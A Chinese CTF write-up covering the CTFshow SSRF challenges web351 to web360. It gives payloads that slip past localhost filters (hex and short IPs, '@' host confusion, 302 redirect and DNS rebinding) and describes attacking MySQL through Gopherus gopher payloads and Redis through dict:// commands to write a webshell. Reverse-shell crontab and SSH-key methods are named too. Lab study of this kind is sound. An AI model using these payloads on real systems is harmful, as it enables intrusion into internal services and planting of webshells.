CTFshow-WEB入门-SSRF

前言

开始学习SSRF,学习文章:
SSRF 学习记录(需要fq)
比较简单的题目就直接放payload了,不做解释。

web351

url=http://127.0.0.1/flag.php

web352

scheme必须是http或者https,但是不能有127.0.0.1或者localhost。这个绕过技巧很多了,列具一些常用的吧:

  • 进制绕过 url=http://0x7F000001/flag.php
  • 0.0.0.0绕过 url=http://0.0.0.0/flag.php
  • 短标签绕过,但是这题我测试失败了,可能是我短标签的问题?
  • ipv6绕过[::1],这题也不行。
  • 使用句号绕过:url=http://127。0。0。1/flag.php,这题也不行。
  • 特殊的地址0,url=http://0/flag.php,还有url=http://127.1/flag.php,还有url=http://127.0000000000000.001/flag.php这样的。
  • dns重绑定其实也能用在这里,不过这题好像不行?不知道是不是我DNS的那个有问题。
  • 可能还有吧,想到了再补上。

web353

同上。

web354

把0和1都给ban了就不知道该怎么办了,看了一下yu师傅的博客,这题的本意是unicode的替换:

for i in range(128,65537):
    tmp=chr(i)
    try:
        res = tmp.encode('idna').decode('utf-8')
        #print(res)
        if("-") in res:
            continue
        print("U:{}    A:{}      ascii:{} ".format(tmp, res, i))
    except:
        pass

IDNA(Internationalizing Domain Names in Applications)应用程序国际化域名 ​
IDNA是一种以标准方式处理ASCII以外字符的一种机制,它从unicode中提取字符,并允许非ASCII码字符以允许使用的ASCII字符表示。

​ 国际化域名(IDN)最初是由马丁·杜斯特于1996年12月提出。1998年在新加坡国立大学教授陈定炜的指导下,Tan Juay
Kwang和Leong Kok
Yong将其付诸实施。经过许多讨论和对比各种提案后,应用程序国际化域名(IDNA)被采纳为正式标准,并被用在许多顶级域名中。在IDNA中,“国际化域名”特指可以成功将IDNA转化为十进位制ASCII的域名。

但是这题不行,很烦,所以就用自己的域名,让他解析到127.0.0.1来用。
或者用yu师傅说的这个:http://sudo.cc/,这就是个解析到127.0.0.1的域名,直接用即可。

web355

增加了这个限制:if ((strlen($host) <= 5)) { ,127.1肯定是可以的。0也是可以的。

url=http://0/flag.php

web356

url=http://0/flag.php

0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

web357

if($x['scheme']==='http'||$x['scheme']==='https'){
    
    
    $ip = gethostbyname($x['host']);
    echo '</br>'.$ip.'</br>';
    if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    
    
        die('ip!');
    }


    echo file_get_contents($_POST['url']);
}

可以利用302跳转或者dns重绑定,302跳转从羽师傅那里学习到了个新姿势,在自己vps那里写个:

<?php
header("Location:http://127.0.0.1/flag.php"); 

然后访问http://xxx.xxx.xxx.xxx/xxx.php就可以了,学习了。

dns重绑定就用这个:dns重绑定

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    
    
    echo file_get_contents($url);
}

url必须以http://ctf.开头,必须以show结尾。
以show结尾比较好办,要么#show,要么?a=show这样的都可以。
以http://ctf.开头的话,加上一个@127.0.0.1就可以绕过了,这样parse_url解析出来的host是127.0.0.1,考虑到ftp:ftp://user[:pass]@ip[:port]/path,因此前面的ctf.会被解析成user。

url=http://[email protected]/flag.php#show

web359

打mysql,具体原理前言中的文章也讲到了,但是真正手打的话还是很麻烦的,需要本地执行mysql语句,然后wireshark抓包,然后再构造gopher,比较麻烦,这里直接用ssrf的万能工具:
Gopherus
使用python2,具体操作github上也说的很清楚,–help也可以查。
这题的ssrf点是这里:
在这里插入图片描述

returl即是ssrf的点,但是这题没有回显,所以写shell:
在这里插入图片描述
把得到的结果的_后面再url编码一次:
在这里插入图片描述
shell就写好了,然后RCE就可以找到flag了。

web360

ssrf打redis,基本上四种攻击方式:

  • 写webshell
  • 写ssh公钥
  • 写contrab计划任务反弹shell
  • 主从复制

这题肯定是写shell了,先利用dict探测一下端口,看看6379存不存在,如果目标的redis换端口了,就利用dict协议来探测:
在这里插入图片描述
具体打redis的原理参考这篇文章:
浅析Redis中SSRF的利用
别盲目用gopherus工具,先理解原理。
这题我不用gopherus工具,熟悉一下手打。
先看一下要不要认证:
在这里插入图片描述
这题不需要,需要的话就拿bp爆一下:

url=dict://127.0.0.1:6379/auth:xxx

用:来代替空格。
设置一下dir,即本地数据库存放目录:
在这里插入图片描述
写马,可能会有转义或者过滤的情况,所以用16进制一般都能写成功。:
在这里插入图片描述
设置文件:
在这里插入图片描述
保存:
在这里插入图片描述
再访问,写入成功:
在这里插入图片描述
寻找flag即可。
要写怎么都写不进去shell,就需要试试主从复制了。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/113853929